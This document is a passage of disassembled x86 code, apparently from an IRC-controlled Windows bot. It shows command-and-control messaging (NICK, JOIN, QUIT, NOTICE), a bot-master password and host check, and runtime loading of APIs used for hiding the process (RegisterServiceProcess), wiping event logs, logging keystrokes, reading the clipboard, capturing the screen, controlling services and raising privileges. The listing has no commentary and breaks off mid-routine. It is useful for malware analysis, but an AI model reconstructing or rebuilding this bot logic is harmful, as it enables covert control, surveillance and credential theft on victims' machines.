loc_409463:				; CODE XREF: sub_401ACD+7A07j
		mov	eax, [ebp+arg_24]
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_401F75
		push	esi
		call	sub_41C159
		push	eax
		call	sub_40B4F5
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_40948A
		push	offset unk_429D60
		jmp	short loc_40948F
; ---------------------------------------------------------------------------


loc_40948A:				; CODE XREF: sub_401ACD+79B4j
		push	offset unk_429D34


loc_40948F:				; CODE XREF: sub_401ACD+79BBj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4094BF
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_4094BF:				; CODE XREF: sub_401ACD+79D4j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		add	[ebp+arg_24], 4
		inc	edi
		cmp	edi, 20h
		pop	ecx
		jb	short loc_409463
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_4094DB:				; CODE XREF: sub_401ACD+3D85j
					; sub_401ACD+3D9Cj
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	edi
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409644
		push	esi
		push	offset dword_42A2E8
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	esi
		push	offset unk_429D1C
		jmp	loc_40963D
; ---------------------------------------------------------------------------


loc_409515:				; CODE XREF: sub_401ACD+3D57j
					; sub_401ACD+3D6Ej
		push	edi
		push	offset dword_42A24C
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	edi
		push	offset unk_429CFC
		jmp	loc_40963D
; ---------------------------------------------------------------------------


loc_409531:				; CODE XREF: sub_401ACD+3D29j
					; sub_401ACD+3D40j
		push	[ebp+esi+var_88]
		push	edi
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 10h
		push	edi
		push	offset unk_429CDC
		jmp	loc_40963D
; ---------------------------------------------------------------------------


loc_409554:				; CODE XREF: sub_401ACD+3CFBj
					; sub_401ACD+3D12j
		push	edi
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	edi
		push	offset unk_429CB8
		jmp	loc_40963D
; ---------------------------------------------------------------------------


loc_409570:				; CODE XREF: sub_401ACD+3123j
					; sub_401ACD+313Aj
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	edi
		push	offset unk_429C98
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		push	edi
		call	sub_41C159
		add	esp, 14h


loc_4095A6:				; CODE XREF: sub_401ACD+7B23j
		push	eax
		call	dword_427080	; Sleep


loc_4095AD:				; CODE XREF: sub_401ACD+2A5Fj
		xor	eax, eax
		jmp	loc_401F78
; ---------------------------------------------------------------------------


loc_4095B4:				; CODE XREF: sub_401ACD+30F5j
					; sub_401ACD+310Cj
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	edi
		push	offset unk_429C70
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		push	edi
		call	sub_41C159
		add	esp, 14h
		imul	eax, 3E8h
		jmp	short loc_4095A6
; ---------------------------------------------------------------------------


loc_4095F2:				; CODE XREF: sub_401ACD+EADj
					; sub_401ACD+EC2j
		push	[ebp+esi+var_8C]
		xor	eax, eax
		cmp	[ebp+var_8F0], bl
		setnz	al
		push	eax
		lea	eax, [ebp+var_338]
		push	dword_42909C
		push	eax
		call	sub_40AE84
		add	esp, 10h
		lea	eax, [ebp+var_338]
		push	eax
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		lea	eax, [ebp+var_338]
		push	eax
		push	offset unk_429C4C


loc_40963D:				; CODE XREF: sub_401ACD+6FCCj
					; sub_401ACD+75F1j ...
		call	sub_415DAC
		pop	ecx


loc_409643:				; CODE XREF: sub_401ACD+6BD8j
		pop	ecx


loc_409644:				; CODE XREF: sub_401ACD+63Dj
					; sub_401ACD+649j ...
		mov	eax, [ebp+arg_24]
		jmp	loc_401F78
; ---------------------------------------------------------------------------


loc_40964C:				; CODE XREF: sub_401ACD+A98j
					; sub_401ACD+AADj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_20], esi
		jz	loc_401F75
		cmp	[ebp+var_A4], ebx
		jnz	loc_401F75
		push	offset asc_42CDBC ; "!"
		push	[ebp+var_90]
		call	sub_41CAD4
		mov	esi, eax
		push	offset word_4CB88C
		push	ebx
		inc	esi
		call	sub_41CAD4
		push	offset asc_429C48 ; "~"
		push	eax
		call	sub_41CAD4
		push	[ebp+arg_20]
		mov	edi, eax
		push	offset aCool	; "cool"
		call	sub_41CA50
		add	esp, 20h
		test	eax, eax
		jz	short loc_4096EB
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 14h
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset unk_429BC8
		jmp	loc_4023EE
; ---------------------------------------------------------------------------


loc_4096EB:				; CODE XREF: sub_401ACD+7BDAj
		mov	[ebp+arg_24], offset off_42915C


loc_4096F2:				; CODE XREF: sub_401ACD+7C41j
		mov	eax, [ebp+arg_24]
		push	edi
		push	dword ptr [eax]
		call	sub_40B713
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409752
		add	[ebp+arg_24], 4
		cmp	[ebp+arg_24], offset off_429160
		jb	short loc_4096F2
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 14h
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset unk_429B74
		jmp	loc_4023EE
; ---------------------------------------------------------------------------


loc_409752:				; CODE XREF: sub_401ACD+7C34j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_409757:				; CODE XREF: sub_401ACD+7CB4j
		cmp	[ebp+arg_20], ebx
		jz	loc_401F75
		cmp	[edi], bl
		jnz	short loc_409777
		push	[ebp+arg_20]
		push	offset aCool	; "cool"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409788


loc_409777:				; CODE XREF: sub_401ACD+7C95j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_409757
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_409788:				; CODE XREF: sub_401ACD+7CA8j
		shl	esi, 7
		add	esi, [ebp+arg_18]
		lea	eax, [ebp+var_E04]
		push	7Fh
		push	eax
		push	esi
		call	sub_41BFD0
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4097BF
		push	ebx
		push	[ebp+var_4]
		push	offset unk_429B54
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_4097BF:				; CODE XREF: sub_401ACD+7CD6j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_429B34


loc_4097CB:				; CODE XREF: sub_401ACD+595j
					; sub_401ACD+2889j ...
		call	sub_415DAC


loc_4097D0:				; CODE XREF: sub_401ACD+1B81j
		pop	ecx


loc_4097D1:				; CODE XREF: sub_401ACD+24FDj
		pop	ecx
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_4097D7:				; CODE XREF: sub_401ACD+20Ej
					; sub_401ACD+223j
		push	[ebp+arg_10]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	offset aXI	; "-x+i"
		push	[ebp+arg_10]
		push	offset aModeSS_0 ; "MODE %s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 10h
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 10h
		mov	dword_4CB884, edi
		jmp	loc_401D6A
sub_401ACD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409823	proc near		; CODE XREF: sub_401955+3Dp
					; sub_401ACD+1CBp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	200h
		push	eax
		call	sub_41CB70
		add	esp, 10h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA24	; send
		leave
		retn
sub_409823	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409869	proc near		; CODE XREF: sub_401ACD+506p
					; sub_401ACD+134Ep ...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_409884
		mov	edi, offset aPrivmsg ; "PRIVMSG"


loc_409884:				; CODE XREF: sub_409869+14j
		push	edi
		call	sub_41B9C0
		push	[ebp+arg_4]
		mov	esi, 1FAh
		sub	esi, eax
		call	sub_41B9C0
		pop	ecx
		sub	esi, eax
		pop	ecx
		lea	eax, [ebp+var_400]
		push	[ebp+arg_8]
		push	offset aS_2	; "%s"
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	edi
		push	offset aSSS_0	; "%s %s :%s\r\n"
		push	eax
		call	sub_41C266
		add	esp, 14h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA24	; send
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_409907
		push	7D0h
		call	dword_427080	; Sleep

locret_409907:				; CODE XREF: sub_409869+91j
		leave
		retn
sub_409869	endp


; =============== S U B	R O U T	I N E =======================================



sub_409909	proc near		; CODE XREF: sub_401221+4Bp
		push	ebx
		push	ebp
		mov	ebp, dword_4270A4
		push	esi
		push	edi
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ebp	; GetModuleHandleA
		mov	esi, dword_4270C4
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_409A29
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi	; GetProcAddress
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	dword_4CBA80, eax
		call	esi	; GetProcAddress
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	dword_4CB9F4, eax
		call	esi	; GetProcAddress
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	dword_4CB9D8, eax
		call	esi	; GetProcAddress
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	dword_4CB8E8, eax
		call	esi	; GetProcAddress
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	dword_4CB894, eax
		call	esi	; GetProcAddress
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	dword_4CB8C4, eax
		call	esi	; GetProcAddress
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	dword_4CB93C, eax
		call	esi	; GetProcAddress
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	dword_4CBA34, eax
		call	esi	; GetProcAddress
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	dword_4CBA90, eax
		call	esi	; GetProcAddress
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	dword_4CB8F4, eax
		call	esi	; GetProcAddress
		cmp	dword_4CBA80, ebx
		mov	dword_4CB8DC, eax
		jz	short loc_409A07
		cmp	dword_4CB9F4, ebx
		jz	short loc_409A07
		cmp	dword_4CB9D8, ebx
		jz	short loc_409A07
		cmp	dword_4CB8E8, ebx
		jz	short loc_409A07
		cmp	dword_4CB8C4, ebx
		jz	short loc_409A07
		cmp	dword_4CB93C, ebx
		jz	short loc_409A07
		cmp	dword_4CBA34, ebx
		jz	short loc_409A07
		cmp	dword_4CBA90, ebx
		jz	short loc_409A07
		cmp	dword_4CB8F4, ebx
		jz	short loc_409A07
		cmp	eax, ebx
		jnz	short loc_409A11


loc_409A07:				; CODE XREF: sub_409909+B8j
					; sub_409909+C0j ...
		mov	dword_4CBA94, 1


loc_409A11:				; CODE XREF: sub_409909+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi	; GetProcAddress
		cmp	eax, ebx
		mov	dword_4CBA0C, eax
		jz	short loc_409A3E
		push	1
		push	ebx
		call	eax
		jmp	short loc_409A3E
; ---------------------------------------------------------------------------


loc_409A29:				; CODE XREF: sub_409909+1Dj
		call	dword_427094	; RtlGetLastWin32Error
		mov	dword_4CBA98, eax
		mov	dword_4CBA94, 1


loc_409A3E:				; CODE XREF: sub_409909+117j
					; sub_409909+11Ej
		push	offset aUser32_dll ; "user32.dll"
		call	dword_4270C0	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409B53
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	dword_4CBA30, eax
		call	esi	; GetProcAddress
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	dword_4CB9E0, eax
		call	esi	; GetProcAddress
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	dword_4CB974, eax
		call	esi	; GetProcAddress
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	dword_4CBA84, eax
		call	esi	; GetProcAddress
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	dword_4CB9A4, eax
		call	esi	; GetProcAddress
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	dword_4CB9C4, eax
		call	esi	; GetProcAddress
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	dword_4CBA28, eax
		call	esi	; GetProcAddress
		cmp	dword_4CBA30, ebx
		mov	dword_4CB914, eax
		jz	short loc_409AF7
		cmp	dword_4CB9E0, ebx
		jz	short loc_409AF7
		cmp	dword_4CB974, ebx
		jz	short loc_409AF7
		cmp	dword_4CBA84, ebx
		jz	short loc_409AF7
		cmp	dword_4CB9A4, ebx
		jz	short loc_409AF7
		cmp	dword_4CB9C4, ebx
		jz	short loc_409AF7
		cmp	dword_4CBA28, ebx
		jz	short loc_409AF7
		cmp	eax, ebx
		jnz	short loc_409B01


loc_409AF7:				; CODE XREF: sub_409909+1B8j
					; sub_409909+1C0j ...
		mov	dword_4CBA9C, 1


loc_409B01:				; CODE XREF: sub_409909+1ECj
		push	offset aGetasynckeysta ; "GetAsyncKeyState"
		push	edi
		call	esi	; GetProcAddress
		push	offset aGetkeystate ; "GetKeyState"
		push	edi
		mov	dword_4CB9A0, eax
		call	esi	; GetProcAddress
		push	offset aGetwindowtexta ; "GetWindowTextA"
		push	edi
		mov	dword_4CB8A8, eax
		call	esi	; GetProcAddress
		push	offset aGetforegroundw ; "GetForegroundWindow"
		push	edi
		mov	dword_4CB970, eax
		call	esi	; GetProcAddress
		cmp	dword_4CB9A0, ebx
		mov	dword_4CB958, eax
		jz	short loc_409B5E
		cmp	dword_4CB8A8, ebx
		jz	short loc_409B5E
		cmp	dword_4CB970, ebx
		jz	short loc_409B5E
		cmp	eax, ebx
		jnz	short loc_409B68
		jmp	short loc_409B5E
; ---------------------------------------------------------------------------


loc_409B53:				; CODE XREF: sub_409909+144j
		call	dword_427094	; RtlGetLastWin32Error
		mov	dword_4CBAA0, eax


loc_409B5E:				; CODE XREF: sub_409909+232j
					; sub_409909+23Aj ...
		mov	dword_4CBA9C, 1


loc_409B68:				; CODE XREF: sub_409909+246j
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp	; GetModuleHandleA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409D21
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	dword_4CBA44, eax
		call	esi	; GetProcAddress
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	dword_4CB988, eax
		call	esi	; GetProcAddress
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	dword_4CB9F8, eax
		call	esi	; GetProcAddress
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	dword_4CB8D4, eax
		call	esi	; GetProcAddress
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	dword_4CB938, eax
		call	esi	; GetProcAddress
		push	offset aOpeneventloga ;	"OpenEventLogA"
		push	edi
		mov	dword_4CB9B0, eax
		call	esi	; GetProcAddress
		push	offset aCleareventloga ; "ClearEventLogA"
		push	edi
		mov	dword_4CB954, eax
		call	esi	; GetProcAddress
		cmp	dword_4CBA44, ebx
		mov	dword_4CB964, eax
		jz	short loc_409C11
		cmp	dword_4CB988, ebx
		jz	short loc_409C11
		cmp	dword_4CB9F8, ebx
		jz	short loc_409C11
		cmp	dword_4CB8D4, ebx
		jz	short loc_409C11
		cmp	dword_4CB938, ebx
		jz	short loc_409C11
		cmp	dword_4CB9B0, ebx
		jnz	short loc_409C1B


loc_409C11:				; CODE XREF: sub_409909+2DEj
					; sub_409909+2E6j ...
		mov	dword_4CBAA4, 1


loc_409C1B:				; CODE XREF: sub_409909+306j
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi	; GetProcAddress
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	dword_4CB9B8, eax
		call	esi	; GetProcAddress
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	dword_4CB990, eax
		call	esi	; GetProcAddress
		cmp	dword_4CB9B8, ebx
		mov	dword_4CBA40, eax
		jz	short loc_409C56
		cmp	dword_4CB990, ebx
		jz	short loc_409C56
		cmp	eax, ebx
		jnz	short loc_409C60


loc_409C56:				; CODE XREF: sub_409909+33Fj
					; sub_409909+347j
		mov	dword_4CBAA4, 1


loc_409C60:				; CODE XREF: sub_409909+34Bj
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	dword_4CB9C8, eax
		call	esi	; GetProcAddress
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	dword_4CB8B0, eax
		call	esi	; GetProcAddress
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	dword_4CB8B8, eax
		call	esi	; GetProcAddress
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	dword_4CB91C, eax
		call	esi	; GetProcAddress
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	dword_4CB920, eax
		call	esi	; GetProcAddress
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	dword_4CB8CC, eax
		call	esi	; GetProcAddress
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	dword_4CB994, eax
		call	esi	; GetProcAddress
		cmp	dword_4CB9C8, ebx
		mov	dword_4CB8BC, eax
		jz	short loc_409D04
		cmp	dword_4CB8B0, ebx
		jz	short loc_409D04
		cmp	dword_4CB8B8, ebx
		jz	short loc_409D04
		cmp	dword_4CB91C, ebx
		jz	short loc_409D04
		cmp	dword_4CB920, ebx
		jz	short loc_409D04
		cmp	dword_4CB8CC, ebx
		jz	short loc_409D04
		cmp	dword_4CB994, ebx
		jz	short loc_409D04
		cmp	eax, ebx
		jnz	short loc_409D0E


loc_409D04:				; CODE XREF: sub_409909+3C5j
					; sub_409909+3CDj ...
		mov	dword_4CBAA4, 1


loc_409D0E:				; CODE XREF: sub_409909+3F9j
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi	; GetProcAddress
		cmp	eax, ebx
		mov	dword_4CB8B4, eax
		jnz	short loc_409D36
		jmp	short loc_409D2C
; ---------------------------------------------------------------------------


loc_409D21:				; CODE XREF: sub_409909+26Aj
		call	dword_427094	; RtlGetLastWin32Error
		mov	dword_4CBAA8, eax


loc_409D2C:				; CODE XREF: sub_409909+416j
		mov	dword_4CBAA4, 1


loc_409D36:				; CODE XREF: sub_409909+414j
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp	; GetModuleHandleA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409E02
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	dword_4CB9C0, eax
		call	esi	; GetProcAddress
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	dword_4CBA18, eax
		call	esi	; GetProcAddress
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	dword_4CBA20, eax
		call	esi	; GetProcAddress
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	dword_4CB9DC, eax
		call	esi	; GetProcAddress
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	dword_4CB8F8, eax
		call	esi	; GetProcAddress
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	dword_4CB8A4, eax
		call	esi	; GetProcAddress
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	dword_4CBA1C, eax
		call	esi	; GetProcAddress
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	dword_4CB890, eax
		call	esi	; GetProcAddress
		cmp	dword_4CB9C0, ebx
		mov	dword_4CB930, eax
		jz	short loc_409E0D
		cmp	dword_4CBA18, ebx
		jz	short loc_409E0D
		cmp	dword_4CBA20, ebx
		jz	short loc_409E0D
		cmp	dword_4CB9DC, ebx
		jz	short loc_409E0D
		cmp	dword_4CB8F8, ebx
		jz	short loc_409E0D
		cmp	dword_4CB8A4, ebx
		jz	short loc_409E0D
		cmp	dword_4CBA1C, ebx
		jz	short loc_409E0D
		cmp	dword_4CB890, ebx
		jz	short loc_409E0D
		cmp	eax, ebx
		jnz	short loc_409E17
		jmp	short loc_409E0D
; ---------------------------------------------------------------------------


loc_409E02:				; CODE XREF: sub_409909+438j
		call	dword_427094	; RtlGetLastWin32Error
		mov	dword_4CBAB0, eax


loc_409E0D:				; CODE XREF: sub_409909+4B9j
					; sub_409909+4C1j ...
		mov	dword_4CBAAC, 1


loc_409E17:				; CODE XREF: sub_409909+4F5j
		mov	ebp, dword_4270C0
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A0D3
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi	; GetProcAddress
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	dword_4CB944, eax
		call	esi	; GetProcAddress
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	dword_4CBA78, eax
		call	esi	; GetProcAddress
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	dword_4CB8E4, eax
		call	esi	; GetProcAddress
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	dword_4CB8C0, eax
		call	esi	; GetProcAddress
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	dword_4CB980, eax
		call	esi	; GetProcAddress
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	dword_4CB968, eax
		call	esi	; GetProcAddress
		push	offset aSocket	; "socket"
		push	edi
		mov	dword_4CB92C, eax
		call	esi	; GetProcAddress
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	dword_4CBA54, eax
		call	esi	; GetProcAddress
		push	offset aConnect	; "connect"
		push	edi
		mov	dword_4CBA70, eax
		call	esi	; GetProcAddress
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	dword_4CB97C, eax
		call	esi	; GetProcAddress
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	dword_4CBA60, eax
		call	esi	; GetProcAddress
		push	offset aHtons	; "htons"
		push	edi
		mov	dword_4CBA14, eax
		call	esi	; GetProcAddress
		push	offset aHtonl	; "htonl"
		push	edi
		mov	dword_4CB9D4, eax
		call	esi	; GetProcAddress
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	dword_4CB9D0, eax
		call	esi	; GetProcAddress
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	dword_4CB904, eax
		call	esi	; GetProcAddress
		push	offset aSend	; "send"
		push	edi
		mov	dword_4CB8FC, eax
		call	esi	; GetProcAddress
		push	offset aSendto	; "sendto"
		push	edi
		mov	dword_4CBA24, eax
		call	esi	; GetProcAddress
		push	offset aRecv	; "recv"
		push	edi
		mov	dword_4CBA38, eax
		call	esi	; GetProcAddress
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	dword_4CB9EC, eax
		call	esi	; GetProcAddress
		mov	dword_4CB9AC, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi	; GetProcAddress
		push	offset aSelect	; "select"
		push	edi
		mov	dword_4CBA00, eax
		call	esi	; GetProcAddress
		push	offset aListen	; "listen"
		push	edi
		mov	dword_4CB9BC, eax
		call	esi	; GetProcAddress
		push	offset aAccept	; "accept"
		push	edi
		mov	dword_4CB9FC, eax
		call	esi	; GetProcAddress
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	dword_4CBA68, eax
		call	esi	; GetProcAddress
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	dword_4CB9B4, eax
		call	esi	; GetProcAddress
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	dword_4CB978, eax
		call	esi	; GetProcAddress
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	dword_4CB9E8, eax
		call	esi	; GetProcAddress
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	dword_4CBA58, eax
		call	esi	; GetProcAddress
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	dword_4CB98C, eax
		call	esi	; GetProcAddress
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	dword_4CB928, eax
		call	esi	; GetProcAddress
		cmp	dword_4CB944, ebx
		mov	dword_4CBA6C, eax
		jz	loc_40A0DE
		cmp	dword_4CBA78, ebx
		jz	loc_40A0DE
		cmp	dword_4CB8E4, ebx
		jz	loc_40A0DE
		cmp	dword_4CB980, ebx
		jz	loc_40A0DE
		cmp	dword_4CB968, ebx
		jz	loc_40A0DE
		cmp	dword_4CB92C, ebx
		jz	loc_40A0DE
		cmp	dword_4CBA54, ebx
		jz	loc_40A0DE
		cmp	dword_4CBA70, ebx
		jz	loc_40A0DE
		cmp	dword_4CB97C, ebx
		jz	loc_40A0DE
		cmp	dword_4CBA60, ebx
		jz	loc_40A0DE
		cmp	dword_4CBA14, ebx
		jz	loc_40A0DE
		cmp	dword_4CB9D4, ebx
		jz	loc_40A0DE
		cmp	dword_4CB9D0, ebx
		jz	loc_40A0DE
		cmp	dword_4CB904, ebx
		jz	short loc_40A0DE
		cmp	dword_4CBA24, ebx
		jz	short loc_40A0DE
		cmp	dword_4CBA38, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB9EC, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB9AC, ebx
		jz	short loc_40A0DE
		cmp	dword_4CBA00, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB9BC, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB9FC, ebx
		jz	short loc_40A0DE
		cmp	dword_4CBA68, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB9B4, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB978, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB9E8, ebx
		jz	short loc_40A0DE
		cmp	dword_4CBA58, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB98C, ebx
		jz	short loc_40A0DE
